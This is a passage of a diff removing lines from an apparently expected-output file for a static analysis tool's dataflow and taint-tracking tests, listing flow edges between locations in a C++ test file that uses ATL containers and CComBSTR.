-| atl.cpp:222:10:222:10 | ref arg a | atl.cpp:223:5:223:5 | a |  |
-| atl.cpp:222:10:222:10 | ref arg a | atl.cpp:224:10:224:10 | a |  |
-| atl.cpp:222:10:222:10 | ref arg a | atl.cpp:228:15:228:15 | a |  |
-| atl.cpp:222:10:222:10 | ref arg a | atl.cpp:243:3:243:3 | a |  |
-| atl.cpp:223:5:223:5 | ref arg a | atl.cpp:224:10:224:10 | a |  |
-| atl.cpp:223:5:223:5 | ref arg a | atl.cpp:228:15:228:15 | a |  |
-| atl.cpp:223:5:223:5 | ref arg a | atl.cpp:243:3:243:3 | a |  |
-| atl.cpp:224:10:224:10 | ref arg a | atl.cpp:228:15:228:15 | a |  |
-| atl.cpp:224:10:224:10 | ref arg a | atl.cpp:243:3:243:3 | a |  |
-| atl.cpp:226:20:226:21 | call to CAtlArray | atl.cpp:227:10:227:11 | a2 |  |
-| atl.cpp:226:20:226:21 | call to CAtlArray | atl.cpp:228:5:228:6 | a2 |  |
-| atl.cpp:226:20:226:21 | call to CAtlArray | atl.cpp:229:10:229:11 | a2 |  |
-| atl.cpp:226:20:226:21 | call to CAtlArray | atl.cpp:233:13:233:14 | a2 |  |
-| atl.cpp:226:20:226:21 | call to CAtlArray | atl.cpp:243:3:243:3 | a2 |  |
-| atl.cpp:227:10:227:11 | ref arg a2 | atl.cpp:228:5:228:6 | a2 |  |
-| atl.cpp:227:10:227:11 | ref arg a2 | atl.cpp:229:10:229:11 | a2 |  |
-| atl.cpp:227:10:227:11 | ref arg a2 | atl.cpp:233:13:233:14 | a2 |  |
-| atl.cpp:227:10:227:11 | ref arg a2 | atl.cpp:243:3:243:3 | a2 |  |
-| atl.cpp:228:5:228:6 | ref arg a2 | atl.cpp:229:10:229:11 | a2 |  |
-| atl.cpp:228:5:228:6 | ref arg a2 | atl.cpp:233:13:233:14 | a2 |  |
-| atl.cpp:228:5:228:6 | ref arg a2 | atl.cpp:243:3:243:3 | a2 |  |
-| atl.cpp:229:10:229:11 | ref arg a2 | atl.cpp:233:13:233:14 | a2 |  |
-| atl.cpp:229:10:229:11 | ref arg a2 | atl.cpp:243:3:243:3 | a2 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:232:10:232:11 | a3 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:233:5:233:6 | a3 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:234:10:234:11 | a3 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:236:10:236:11 | a3 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:237:11:237:12 | a3 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:241:26:241:27 | a3 |  |
-| atl.cpp:231:20:231:21 | call to CAtlArray | atl.cpp:243:3:243:3 | a3 |  |
-| atl.cpp:232:10:232:11 | ref arg a3 | atl.cpp:233:5:233:6 | a3 |  |
-| atl.cpp:232:10:232:11 | ref arg a3 | atl.cpp:234:10:234:11 | a3 |  |
-| atl.cpp:232:10:232:11 | ref arg a3 | atl.cpp:236:10:236:11 | a3 |  |
-| atl.cpp:232:10:232:11 | ref arg a3 | atl.cpp:237:11:237:12 | a3 |  |
-| atl.cpp:232:10:232:11 | ref arg a3 | atl.cpp:241:26:241:27 | a3 |  |
-| atl.cpp:232:10:232:11 | ref arg a3 | atl.cpp:243:3:243:3 | a3 |  |
-| atl.cpp:233:5:233:6 | ref arg a3 | atl.cpp:234:10:234:11 | a3 |  |
-| atl.cpp:233:5:233:6 | ref arg a3 | atl.cpp:236:10:236:11 | a3 |  |
-| atl.cpp:233:5:233:6 | ref arg a3 | atl.cpp:237:11:237:12 | a3 |  |
-| atl.cpp:233:5:233:6 | ref arg a3 | atl.cpp:241:26:241:27 | a3 |  |
-| atl.cpp:233:5:233:6 | ref arg a3 | atl.cpp:243:3:243:3 | a3 |  |
-| atl.cpp:234:10:234:11 | ref arg a3 | atl.cpp:236:10:236:11 | a3 |  |
-| atl.cpp:234:10:234:11 | ref arg a3 | atl.cpp:237:11:237:12 | a3 |  |
-| atl.cpp:234:10:234:11 | ref arg a3 | atl.cpp:241:26:241:27 | a3 |  |
-| atl.cpp:234:10:234:11 | ref arg a3 | atl.cpp:243:3:243:3 | a3 |  |
-| atl.cpp:236:10:236:11 | ref arg a3 | atl.cpp:237:11:237:12 | a3 |  |
-| atl.cpp:236:10:236:11 | ref arg a3 | atl.cpp:241:26:241:27 | a3 |  |
-| atl.cpp:236:10:236:11 | ref arg a3 | atl.cpp:243:3:243:3 | a3 |  |
-| atl.cpp:237:11:237:12 | ref arg a3 | atl.cpp:241:26:241:27 | a3 |  |
-| atl.cpp:237:11:237:12 | ref arg a3 | atl.cpp:243:3:243:3 | a3 |  |
-| atl.cpp:237:14:237:20 | call to GetData | atl.cpp:237:10:237:22 | * ... | TAINT |
-| atl.cpp:239:20:239:21 | call to CAtlArray | atl.cpp:240:10:240:11 | a4 |  |
-| atl.cpp:239:20:239:21 | call to CAtlArray | atl.cpp:241:5:241:6 | a4 |  |
-| atl.cpp:239:20:239:21 | call to CAtlArray | atl.cpp:242:10:242:11 | a4 |  |
-| atl.cpp:239:20:239:21 | call to CAtlArray | atl.cpp:243:3:243:3 | a4 |  |
-| atl.cpp:240:10:240:11 | ref arg a4 | atl.cpp:241:5:241:6 | a4 |  |
-| atl.cpp:240:10:240:11 | ref arg a4 | atl.cpp:242:10:242:11 | a4 |  |
-| atl.cpp:240:10:240:11 | ref arg a4 | atl.cpp:243:3:243:3 | a4 |  |
-| atl.cpp:241:5:241:6 | ref arg a4 | atl.cpp:242:10:242:11 | a4 |  |
-| atl.cpp:241:5:241:6 | ref arg a4 | atl.cpp:243:3:243:3 | a4 |  |
-| atl.cpp:241:26:241:27 | a3 | atl.cpp:241:25:241:27 | & ... |  |
-| atl.cpp:242:10:242:11 | ref arg a4 | atl.cpp:243:3:243:3 | a4 |  |
-| atl.cpp:245:20:245:21 | call to CAtlArray | atl.cpp:246:5:246:6 | a5 |  |
-| atl.cpp:245:20:245:21 | call to CAtlArray | atl.cpp:247:10:247:11 | a5 |  |
-| atl.cpp:245:20:245:21 | call to CAtlArray | atl.cpp:252:3:252:3 | a5 |  |
-| atl.cpp:246:5:246:6 | ref arg a5 | atl.cpp:247:10:247:11 | a5 |  |
-| atl.cpp:246:5:246:6 | ref arg a5 | atl.cpp:252:3:252:3 | a5 |  |
-| atl.cpp:247:10:247:11 | ref arg a5 | atl.cpp:252:3:252:3 | a5 |  |
-| atl.cpp:249:20:249:21 | call to CAtlArray | atl.cpp:250:5:250:6 | a6 |  |
-| atl.cpp:249:20:249:21 | call to CAtlArray | atl.cpp:251:10:251:11 | a6 |  |
-| atl.cpp:249:20:249:21 | call to CAtlArray | atl.cpp:252:3:252:3 | a6 |  |
-| atl.cpp:250:5:250:6 | ref arg a6 | atl.cpp:251:10:251:11 | a6 |  |
-| atl.cpp:250:5:250:6 | ref arg a6 | atl.cpp:252:3:252:3 | a6 |  |
-| atl.cpp:251:10:251:11 | ref arg a6 | atl.cpp:252:3:252:3 | a6 |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:301:18:301:18 | x |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:309:19:309:19 | x |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:318:29:318:29 | x |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:324:21:324:21 | x |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:332:30:332:30 | x |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:339:31:339:31 | x |  |
-| atl.cpp:297:11:297:21 | call to source | atl.cpp:344:44:344:44 | x |  |
-| atl.cpp:299:24:299:25 | 10 | atl.cpp:299:24:299:26 | call to CAtlList | TAINT |
-| atl.cpp:299:24:299:26 | call to CAtlList | atl.cpp:300:10:300:13 | list |  |
-| atl.cpp:299:24:299:26 | call to CAtlList | atl.cpp:301:5:301:8 | list |  |
-| atl.cpp:299:24:299:26 | call to CAtlList | atl.cpp:302:10:302:13 | list |  |
-| atl.cpp:299:24:299:26 | call to CAtlList | atl.cpp:305:24:305:27 | list |  |
-| atl.cpp:299:24:299:26 | call to CAtlList | atl.cpp:347:3:347:3 | list |  |
-| atl.cpp:300:10:300:13 | ref arg list | atl.cpp:301:5:301:8 | list |  |
-| atl.cpp:300:10:300:13 | ref arg list | atl.cpp:302:10:302:13 | list |  |
-| atl.cpp:300:10:300:13 | ref arg list | atl.cpp:305:24:305:27 | list |  |
-| atl.cpp:300:10:300:13 | ref arg list | atl.cpp:347:3:347:3 | list |  |
-| atl.cpp:301:5:301:8 | ref arg list | atl.cpp:302:10:302:13 | list |  |
-| atl.cpp:301:5:301:8 | ref arg list | atl.cpp:305:24:305:27 | list |  |
-| atl.cpp:301:5:301:8 | ref arg list | atl.cpp:347:3:347:3 | list |  |
-| atl.cpp:302:10:302:13 | ref arg list | atl.cpp:305:24:305:27 | list |  |
-| atl.cpp:302:10:302:13 | ref arg list | atl.cpp:347:3:347:3 | list |  |
-| atl.cpp:304:25:304:26 | 10 | atl.cpp:304:25:304:27 | call to CAtlList | TAINT |
-| atl.cpp:304:25:304:27 | call to CAtlList | atl.cpp:305:5:305:9 | list2 |  |
-| atl.cpp:304:25:304:27 | call to CAtlList | atl.cpp:306:10:306:14 | list2 |  |
-| atl.cpp:304:25:304:27 | call to CAtlList | atl.cpp:347:3:347:3 | list2 |  |
-| atl.cpp:305:5:305:9 | ref arg list2 | atl.cpp:306:10:306:14 | list2 |  |
-| atl.cpp:305:5:305:9 | ref arg list2 | atl.cpp:347:3:347:3 | list2 |  |
-| atl.cpp:305:24:305:27 | list | atl.cpp:305:23:305:27 | & ... |  |
-| atl.cpp:306:10:306:14 | ref arg list2 | atl.cpp:347:3:347:3 | list2 |  |
-| atl.cpp:308:25:308:26 | 10 | atl.cpp:308:25:308:27 | call to CAtlList | TAINT |
-| atl.cpp:308:25:308:27 | call to CAtlList | atl.cpp:309:5:309:9 | list3 |  |
-| atl.cpp:308:25:308:27 | call to CAtlList | atl.cpp:310:10:310:14 | list3 |  |
-| atl.cpp:308:25:308:27 | call to CAtlList | atl.cpp:313:24:313:28 | list3 |  |
-| atl.cpp:308:25:308:27 | call to CAtlList | atl.cpp:347:3:347:3 | list3 |  |
-| atl.cpp:309:5:309:9 | ref arg list3 | atl.cpp:310:10:310:14 | list3 |  |
-| atl.cpp:309:5:309:9 | ref arg list3 | atl.cpp:313:24:313:28 | list3 |  |
-| atl.cpp:309:5:309:9 | ref arg list3 | atl.cpp:347:3:347:3 | list3 |  |
-| atl.cpp:310:10:310:14 | ref arg list3 | atl.cpp:313:24:313:28 | list3 |  |
-| atl.cpp:310:10:310:14 | ref arg list3 | atl.cpp:347:3:347:3 | list3 |  |
-| atl.cpp:312:25:312:26 | 10 | atl.cpp:312:25:312:27 | call to CAtlList | TAINT |
-| atl.cpp:312:25:312:27 | call to CAtlList | atl.cpp:313:5:313:9 | list4 |  |
-| atl.cpp:312:25:312:27 | call to CAtlList | atl.cpp:314:10:314:14 | list4 |  |
-| atl.cpp:312:25:312:27 | call to CAtlList | atl.cpp:347:3:347:3 | list4 |  |
-| atl.cpp:313:5:313:9 | ref arg list4 | atl.cpp:314:10:314:14 | list4 |  |
-| atl.cpp:313:5:313:9 | ref arg list4 | atl.cpp:347:3:347:3 | list4 |  |
-| atl.cpp:313:24:313:28 | list3 | atl.cpp:313:23:313:28 | & ... |  |
-| atl.cpp:314:10:314:14 | ref arg list4 | atl.cpp:347:3:347:3 | list4 |  |
-| atl.cpp:317:27:317:28 | 10 | atl.cpp:317:27:317:29 | call to CAtlList | TAINT |
-| atl.cpp:317:27:317:29 | call to CAtlList | atl.cpp:318:18:318:22 | list5 |  |
-| atl.cpp:317:27:317:29 | call to CAtlList | atl.cpp:318:32:318:36 | list5 |  |
-| atl.cpp:317:27:317:29 | call to CAtlList | atl.cpp:319:12:319:16 | list5 |  |
-| atl.cpp:317:27:317:29 | call to CAtlList | atl.cpp:320:5:320:5 | list5 |  |
-| atl.cpp:318:18:318:22 | ref arg list5 | atl.cpp:319:12:319:16 | list5 |  |
-| atl.cpp:318:18:318:22 | ref arg list5 | atl.cpp:320:5:320:5 | list5 |  |
-| atl.cpp:318:24:318:27 | call to Find | atl.cpp:319:24:319:26 | pos |  |
-| atl.cpp:318:32:318:36 | ref arg list5 | atl.cpp:318:18:318:22 | list5 |  |
-| atl.cpp:318:32:318:36 | ref arg list5 | atl.cpp:319:12:319:16 | list5 |  |
-| atl.cpp:318:32:318:36 | ref arg list5 | atl.cpp:320:5:320:5 | list5 |  |
-| atl.cpp:319:12:319:16 | ref arg list5 | atl.cpp:320:5:320:5 | list5 |  |
-| atl.cpp:323:27:323:28 | 10 | atl.cpp:323:27:323:29 | call to CAtlList | TAINT |
-| atl.cpp:323:27:323:29 | call to CAtlList | atl.cpp:324:7:324:11 | list6 |  |
-| atl.cpp:323:27:323:29 | call to CAtlList | atl.cpp:325:18:325:22 | list6 |  |
-| atl.cpp:323:27:323:29 | call to CAtlList | atl.cpp:326:12:326:16 | list6 |  |
-| atl.cpp:323:27:323:29 | call to CAtlList | atl.cpp:327:5:327:5 | list6 |  |
-| atl.cpp:324:7:324:11 | ref arg list6 | atl.cpp:325:18:325:22 | list6 |  |
-| atl.cpp:324:7:324:11 | ref arg list6 | atl.cpp:326:12:326:16 | list6 |  |
-| atl.cpp:324:7:324:11 | ref arg list6 | atl.cpp:327:5:327:5 | list6 |  |
-| atl.cpp:325:18:325:22 | ref arg list6 | atl.cpp:326:12:326:16 | list6 |  |
-| atl.cpp:325:18:325:22 | ref arg list6 | atl.cpp:327:5:327:5 | list6 |  |
-| atl.cpp:325:24:325:32 | call to FindIndex | atl.cpp:326:24:326:26 | pos |  |
-| atl.cpp:326:12:326:16 | ref arg list6 | atl.cpp:327:5:327:5 | list6 |  |
-| atl.cpp:330:27:330:28 | 10 | atl.cpp:330:27:330:29 | call to CAtlList | TAINT |
-| atl.cpp:330:27:330:29 | call to CAtlList | atl.cpp:331:18:331:22 | list7 |  |
-| atl.cpp:330:27:330:29 | call to CAtlList | atl.cpp:332:7:332:11 | list7 |  |
-| atl.cpp:330:27:330:29 | call to CAtlList | atl.cpp:333:12:333:16 | list7 |  |
-| atl.cpp:330:27:330:29 | call to CAtlList | atl.cpp:334:5:334:5 | list7 |  |
-| atl.cpp:331:18:331:22 | ref arg list7 | atl.cpp:332:7:332:11 | list7 |  |
-| atl.cpp:331:18:331:22 | ref arg list7 | atl.cpp:333:12:333:16 | list7 |  |
-| atl.cpp:331:18:331:22 | ref arg list7 | atl.cpp:334:5:334:5 | list7 |  |
-| atl.cpp:331:24:331:38 | call to GetTailPosition | atl.cpp:332:25:332:27 | pos |  |
-| atl.cpp:332:7:332:11 | ref arg list7 | atl.cpp:333:12:333:16 | list7 |  |
-| atl.cpp:332:7:332:11 | ref arg list7 | atl.cpp:334:5:334:5 | list7 |  |
-| atl.cpp:333:12:333:16 | ref arg list7 | atl.cpp:334:5:334:5 | list7 |  |
-| atl.cpp:337:27:337:28 | 10 | atl.cpp:337:27:337:29 | call to CAtlList | TAINT |
-| atl.cpp:337:27:337:29 | call to CAtlList | atl.cpp:338:18:338:22 | list8 |  |
-| atl.cpp:337:27:337:29 | call to CAtlList | atl.cpp:339:7:339:11 | list8 |  |
-| atl.cpp:337:27:337:29 | call to CAtlList | atl.cpp:340:12:340:16 | list8 |  |
-| atl.cpp:337:27:337:29 | call to CAtlList | atl.cpp:341:5:341:5 | list8 |  |
-| atl.cpp:338:18:338:22 | ref arg list8 | atl.cpp:339:7:339:11 | list8 |  |
-| atl.cpp:338:18:338:22 | ref arg list8 | atl.cpp:340:12:340:16 | list8 |  |
-| atl.cpp:338:18:338:22 | ref arg list8 | atl.cpp:341:5:341:5 | list8 |  |
-| atl.cpp:338:24:338:38 | call to GetTailPosition | atl.cpp:339:26:339:28 | pos |  |
-| atl.cpp:339:7:339:11 | ref arg list8 | atl.cpp:340:12:340:16 | list8 |  |
-| atl.cpp:339:7:339:11 | ref arg list8 | atl.cpp:341:5:341:5 | list8 |  |
-| atl.cpp:340:12:340:16 | ref arg list8 | atl.cpp:341:5:341:5 | list8 |  |
-| atl.cpp:343:27:343:28 | 10 | atl.cpp:343:27:343:29 | call to CAtlList | TAINT |
-| atl.cpp:343:27:343:29 | call to CAtlList | atl.cpp:344:7:344:11 | list9 |  |
-| atl.cpp:343:27:343:29 | call to CAtlList | atl.cpp:344:19:344:23 | list9 |  |
-| atl.cpp:343:27:343:29 | call to CAtlList | atl.cpp:345:12:345:16 | list9 |  |
-| atl.cpp:343:27:343:29 | call to CAtlList | atl.cpp:346:5:346:5 | list9 |  |
-| atl.cpp:344:7:344:11 | ref arg list9 | atl.cpp:345:12:345:16 | list9 |  |
-| atl.cpp:344:7:344:11 | ref arg list9 | atl.cpp:346:5:346:5 | list9 |  |
-| atl.cpp:344:19:344:23 | ref arg list9 | atl.cpp:344:7:344:11 | list9 |  |
-| atl.cpp:344:19:344:23 | ref arg list9 | atl.cpp:345:12:345:16 | list9 |  |
-| atl.cpp:344:19:344:23 | ref arg list9 | atl.cpp:346:5:346:5 | list9 |  |
-| atl.cpp:345:12:345:16 | ref arg list9 | atl.cpp:346:5:346:5 | list9 |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:353:18:353:18 | p |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:361:19:361:19 | p |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:370:29:370:29 | p |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:376:21:376:21 | p |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:384:30:384:30 | p |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:391:31:391:31 | p |  |
-| atl.cpp:349:12:349:31 | call to indirect_source | atl.cpp:396:44:396:44 | p |  |
-| atl.cpp:351:25:351:26 | 10 | atl.cpp:351:25:351:27 | call to CAtlList | TAINT |
-| atl.cpp:351:25:351:27 | call to CAtlList | atl.cpp:352:10:352:13 | list |  |
-| atl.cpp:351:25:351:27 | call to CAtlList | atl.cpp:353:5:353:8 | list |  |
-| atl.cpp:351:25:351:27 | call to CAtlList | atl.cpp:354:10:354:13 | list |  |
-| atl.cpp:351:25:351:27 | call to CAtlList | atl.cpp:357:24:357:27 | list |  |
-| atl.cpp:351:25:351:27 | call to CAtlList | atl.cpp:399:3:399:3 | list |  |
-| atl.cpp:352:10:352:13 | ref arg list | atl.cpp:353:5:353:8 | list |  |
-| atl.cpp:352:10:352:13 | ref arg list | atl.cpp:354:10:354:13 | list |  |
-| atl.cpp:352:10:352:13 | ref arg list | atl.cpp:357:24:357:27 | list |  |
-| atl.cpp:352:10:352:13 | ref arg list | atl.cpp:399:3:399:3 | list |  |
-| atl.cpp:353:5:353:8 | ref arg list | atl.cpp:354:10:354:13 | list |  |
-| atl.cpp:353:5:353:8 | ref arg list | atl.cpp:357:24:357:27 | list |  |
-| atl.cpp:353:5:353:8 | ref arg list | atl.cpp:399:3:399:3 | list |  |
-| atl.cpp:354:10:354:13 | ref arg list | atl.cpp:357:24:357:27 | list |  |
-| atl.cpp:354:10:354:13 | ref arg list | atl.cpp:399:3:399:3 | list |  |
-| atl.cpp:356:26:356:27 | 10 | atl.cpp:356:26:356:28 | call to CAtlList | TAINT |
-| atl.cpp:356:26:356:28 | call to CAtlList | atl.cpp:357:5:357:9 | list2 |  |
-| atl.cpp:356:26:356:28 | call to CAtlList | atl.cpp:358:10:358:14 | list2 |  |
-| atl.cpp:356:26:356:28 | call to CAtlList | atl.cpp:399:3:399:3 | list2 |  |
-| atl.cpp:357:5:357:9 | ref arg list2 | atl.cpp:358:10:358:14 | list2 |  |
-| atl.cpp:357:5:357:9 | ref arg list2 | atl.cpp:399:3:399:3 | list2 |  |
-| atl.cpp:357:24:357:27 | list | atl.cpp:357:23:357:27 | & ... |  |
-| atl.cpp:358:10:358:14 | ref arg list2 | atl.cpp:399:3:399:3 | list2 |  |
-| atl.cpp:360:26:360:27 | 10 | atl.cpp:360:26:360:28 | call to CAtlList | TAINT |
-| atl.cpp:360:26:360:28 | call to CAtlList | atl.cpp:361:5:361:9 | list3 |  |
-| atl.cpp:360:26:360:28 | call to CAtlList | atl.cpp:362:10:362:14 | list3 |  |
-| atl.cpp:360:26:360:28 | call to CAtlList | atl.cpp:365:24:365:28 | list3 |  |
-| atl.cpp:360:26:360:28 | call to CAtlList | atl.cpp:399:3:399:3 | list3 |  |
-| atl.cpp:361:5:361:9 | ref arg list3 | atl.cpp:362:10:362:14 | list3 |  |
-| atl.cpp:361:5:361:9 | ref arg list3 | atl.cpp:365:24:365:28 | list3 |  |
-| atl.cpp:361:5:361:9 | ref arg list3 | atl.cpp:399:3:399:3 | list3 |  |
-| atl.cpp:362:10:362:14 | ref arg list3 | atl.cpp:365:24:365:28 | list3 |  |
-| atl.cpp:362:10:362:14 | ref arg list3 | atl.cpp:399:3:399:3 | list3 |  |
-| atl.cpp:364:26:364:27 | 10 | atl.cpp:364:26:364:28 | call to CAtlList | TAINT |
-| atl.cpp:364:26:364:28 | call to CAtlList | atl.cpp:365:5:365:9 | list4 |  |
-| atl.cpp:364:26:364:28 | call to CAtlList | atl.cpp:366:10:366:14 | list4 |  |
-| atl.cpp:364:26:364:28 | call to CAtlList | atl.cpp:399:3:399:3 | list4 |  |
-| atl.cpp:365:5:365:9 | ref arg list4 | atl.cpp:366:10:366:14 | list4 |  |
-| atl.cpp:365:5:365:9 | ref arg list4 | atl.cpp:399:3:399:3 | list4 |  |
-| atl.cpp:365:24:365:28 | list3 | atl.cpp:365:23:365:28 | & ... |  |
-| atl.cpp:366:10:366:14 | ref arg list4 | atl.cpp:399:3:399:3 | list4 |  |
-| atl.cpp:369:28:369:29 | 10 | atl.cpp:369:28:369:30 | call to CAtlList | TAINT |
-| atl.cpp:369:28:369:30 | call to CAtlList | atl.cpp:370:18:370:22 | list5 |  |
-| atl.cpp:369:28:369:30 | call to CAtlList | atl.cpp:370:32:370:36 | list5 |  |
-| atl.cpp:369:28:369:30 | call to CAtlList | atl.cpp:371:12:371:16 | list5 |  |
-| atl.cpp:369:28:369:30 | call to CAtlList | atl.cpp:372:5:372:5 | list5 |  |
-| atl.cpp:370:18:370:22 | ref arg list5 | atl.cpp:371:12:371:16 | list5 |  |
-| atl.cpp:370:18:370:22 | ref arg list5 | atl.cpp:372:5:372:5 | list5 |  |
-| atl.cpp:370:24:370:27 | call to Find | atl.cpp:371:24:371:26 | pos |  |
-| atl.cpp:370:32:370:36 | ref arg list5 | atl.cpp:370:18:370:22 | list5 |  |
-| atl.cpp:370:32:370:36 | ref arg list5 | atl.cpp:371:12:371:16 | list5 |  |
-| atl.cpp:370:32:370:36 | ref arg list5 | atl.cpp:372:5:372:5 | list5 |  |
-| atl.cpp:371:12:371:16 | ref arg list5 | atl.cpp:372:5:372:5 | list5 |  |
-| atl.cpp:375:28:375:29 | 10 | atl.cpp:375:28:375:30 | call to CAtlList | TAINT |
-| atl.cpp:375:28:375:30 | call to CAtlList | atl.cpp:376:7:376:11 | list6 |  |
-| atl.cpp:375:28:375:30 | call to CAtlList | atl.cpp:377:18:377:22 | list6 |  |
-| atl.cpp:375:28:375:30 | call to CAtlList | atl.cpp:378:12:378:16 | list6 |  |
-| atl.cpp:375:28:375:30 | call to CAtlList | atl.cpp:379:5:379:5 | list6 |  |
-| atl.cpp:376:7:376:11 | ref arg list6 | atl.cpp:377:18:377:22 | list6 |  |
-| atl.cpp:376:7:376:11 | ref arg list6 | atl.cpp:378:12:378:16 | list6 |  |
-| atl.cpp:376:7:376:11 | ref arg list6 | atl.cpp:379:5:379:5 | list6 |  |
-| atl.cpp:377:18:377:22 | ref arg list6 | atl.cpp:378:12:378:16 | list6 |  |
-| atl.cpp:377:18:377:22 | ref arg list6 | atl.cpp:379:5:379:5 | list6 |  |
-| atl.cpp:377:24:377:32 | call to FindIndex | atl.cpp:378:24:378:26 | pos |  |
-| atl.cpp:378:12:378:16 | ref arg list6 | atl.cpp:379:5:379:5 | list6 |  |
-| atl.cpp:382:28:382:29 | 10 | atl.cpp:382:28:382:30 | call to CAtlList | TAINT |
-| atl.cpp:382:28:382:30 | call to CAtlList | atl.cpp:383:18:383:22 | list7 |  |
-| atl.cpp:382:28:382:30 | call to CAtlList | atl.cpp:384:7:384:11 | list7 |  |
-| atl.cpp:382:28:382:30 | call to CAtlList | atl.cpp:385:12:385:16 | list7 |  |
-| atl.cpp:382:28:382:30 | call to CAtlList | atl.cpp:386:5:386:5 | list7 |  |
-| atl.cpp:383:18:383:22 | ref arg list7 | atl.cpp:384:7:384:11 | list7 |  |
-| atl.cpp:383:18:383:22 | ref arg list7 | atl.cpp:385:12:385:16 | list7 |  |
-| atl.cpp:383:18:383:22 | ref arg list7 | atl.cpp:386:5:386:5 | list7 |  |
-| atl.cpp:383:24:383:38 | call to GetTailPosition | atl.cpp:384:25:384:27 | pos |  |
-| atl.cpp:384:7:384:11 | ref arg list7 | atl.cpp:385:12:385:16 | list7 |  |
-| atl.cpp:384:7:384:11 | ref arg list7 | atl.cpp:386:5:386:5 | list7 |  |
-| atl.cpp:385:12:385:16 | ref arg list7 | atl.cpp:386:5:386:5 | list7 |  |
-| atl.cpp:389:28:389:29 | 10 | atl.cpp:389:28:389:30 | call to CAtlList | TAINT |
-| atl.cpp:389:28:389:30 | call to CAtlList | atl.cpp:390:18:390:22 | list8 |  |
-| atl.cpp:389:28:389:30 | call to CAtlList | atl.cpp:391:7:391:11 | list8 |  |
-| atl.cpp:389:28:389:30 | call to CAtlList | atl.cpp:392:12:392:16 | list8 |  |
-| atl.cpp:389:28:389:30 | call to CAtlList | atl.cpp:393:5:393:5 | list8 |  |
-| atl.cpp:390:18:390:22 | ref arg list8 | atl.cpp:391:7:391:11 | list8 |  |
-| atl.cpp:390:18:390:22 | ref arg list8 | atl.cpp:392:12:392:16 | list8 |  |
-| atl.cpp:390:18:390:22 | ref arg list8 | atl.cpp:393:5:393:5 | list8 |  |
-| atl.cpp:390:24:390:38 | call to GetTailPosition | atl.cpp:391:26:391:28 | pos |  |
-| atl.cpp:391:7:391:11 | ref arg list8 | atl.cpp:392:12:392:16 | list8 |  |
-| atl.cpp:391:7:391:11 | ref arg list8 | atl.cpp:393:5:393:5 | list8 |  |
-| atl.cpp:392:12:392:16 | ref arg list8 | atl.cpp:393:5:393:5 | list8 |  |
-| atl.cpp:395:28:395:29 | 10 | atl.cpp:395:28:395:30 | call to CAtlList | TAINT |
-| atl.cpp:395:28:395:30 | call to CAtlList | atl.cpp:396:7:396:11 | list9 |  |
-| atl.cpp:395:28:395:30 | call to CAtlList | atl.cpp:396:19:396:23 | list9 |  |
-| atl.cpp:395:28:395:30 | call to CAtlList | atl.cpp:397:12:397:16 | list9 |  |
-| atl.cpp:395:28:395:30 | call to CAtlList | atl.cpp:398:5:398:5 | list9 |  |
-| atl.cpp:396:7:396:11 | ref arg list9 | atl.cpp:397:12:397:16 | list9 |  |
-| atl.cpp:396:7:396:11 | ref arg list9 | atl.cpp:398:5:398:5 | list9 |  |
-| atl.cpp:396:19:396:23 | ref arg list9 | atl.cpp:396:7:396:11 | list9 |  |
-| atl.cpp:396:19:396:23 | ref arg list9 | atl.cpp:397:12:397:16 | list9 |  |
-| atl.cpp:396:19:396:23 | ref arg list9 | atl.cpp:398:5:398:5 | list9 |  |
-| atl.cpp:397:12:397:16 | ref arg list9 | atl.cpp:398:5:398:5 | list9 |  |
-| atl.cpp:455:21:455:33 | new | atl.cpp:456:3:456:6 | safe |  |
-| atl.cpp:455:21:455:33 | new | atl.cpp:457:10:457:13 | safe |  |
-| atl.cpp:456:3:456:6 | safe [post update] | atl.cpp:457:10:457:13 | safe |  |
-| atl.cpp:456:3:456:40 | ... = ... | atl.cpp:456:9:456:14 | pvData [post update] |  |
-| atl.cpp:456:18:456:38 | call to indirect_source | atl.cpp:456:3:456:40 | ... = ... |  |
-| atl.cpp:461:13:461:33 | call to indirect_source | atl.cpp:463:16:463:16 | x |  |
-| atl.cpp:461:13:461:33 | call to indirect_source | atl.cpp:470:20:470:20 | x |  |
-| atl.cpp:461:13:461:33 | call to indirect_source | atl.cpp:474:16:474:16 | x |  |
-| atl.cpp:461:13:461:33 | call to indirect_source | atl.cpp:482:11:482:11 | x |  |
-| atl.cpp:461:13:461:33 | call to indirect_source | atl.cpp:496:20:496:20 | x |  |
-| atl.cpp:463:16:463:16 | x | atl.cpp:463:16:463:17 | call to CComBSTR | TAINT |
-| atl.cpp:463:16:463:17 | call to CComBSTR | atl.cpp:464:10:464:10 | b |  |
-| atl.cpp:463:16:463:17 | call to CComBSTR | atl.cpp:466:17:466:17 | b |  |
-| atl.cpp:463:16:463:17 | call to CComBSTR | atl.cpp:468:3:468:3 | b |  |
-| atl.cpp:464:10:464:10 | b [post update] | atl.cpp:466:17:466:17 | b |  |
-| atl.cpp:464:10:464:10 | b [post update] | atl.cpp:468:3:468:3 | b |  |
-| atl.cpp:464:12:464:16 | ref arg m_str | atl.cpp:467:13:467:17 | m_str |  |
-| atl.cpp:466:17:466:17 | b | atl.cpp:466:17:466:18 | call to CComBSTR |  |
-| atl.cpp:466:17:466:18 | call to CComBSTR | atl.cpp:467:10:467:11 | b2 |  |
-| atl.cpp:466:17:466:18 | call to CComBSTR | atl.cpp:468:3:468:3 | b2 |  |
-| atl.cpp:467:10:467:11 | b2 [post update] | atl.cpp:468:3:468:3 | b2 |  |
